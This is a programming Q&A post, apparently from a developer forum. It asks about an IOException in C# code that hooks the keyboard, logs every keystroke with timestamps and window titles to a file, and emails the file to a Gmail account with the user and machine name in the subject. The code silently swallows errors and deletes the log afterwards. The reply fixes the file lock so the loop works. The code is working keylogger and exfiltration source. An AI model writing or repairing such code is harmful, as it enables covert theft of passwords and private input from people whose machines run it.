C# System.IO.IOException occurred HResult=0x80070020

New issue with my code, worked 100% last night. This morning it's giving me issues. (nothing changed)

When I run my code to send a file to Gmail, I get a

System.IO.IOException occurred HResult=0x80070020

But when I comment out the sending of the email ( see code) it works fine. I'm unsure on what happened.

Code:

public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
    {

          try
          {
              MailMessage mM = new MailMessage();
              mM.From = new MailAddress("username@gmail.com");
              mM.To.Add("username@gmail.com");
              mM.Subject = Environment.UserName + " / " + Environment.MachineName;
              mM.Attachments.Add(new Attachment(path));
              mM.Body = "Nothing";
             mM.IsBodyHtml = true;
             SmtpClient sC = new SmtpClient("smtp.gmail.com");
              sC.Port = 587;
             sC.Credentials = new NetworkCredential("username@gmail.com", "password");
            sC.EnableSsl = true;
             sC.Send(mM);
         }
         catch (Exception)
        {

        }

        //File.Delete(path);

    }

the other part of the program that writes to the file is

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {

        int KeyCode = Marshal.ReadInt32(lParam);
        using (StreamWriter sw = new StreamWriter(path, true))
        {

                sw.AutoFlush = true;

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)


                if (!string.IsNullOrEmpty(active) && active != getTitle())
                {
                    active = getTitle();
                    sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }

                else if (string.IsNullOrEmpty(active))
                {
                    active = getTitle();
                    //sw.WriteLine();
                    sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " -   ");
                    sw.Write((Keys)KeyCode);

                }
                else
                {
                    sw.Write((Keys)KeyCode);

                }



        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);

    }

I think it cant delete file because it is in use. Try to add "using" to dispose MailMessage object:

try
{
    using(MailMessage mM = new MailMessage())
    {
        // your code
    }
    File.Delete(path);
}
catch (Exception)
{
    // your code
}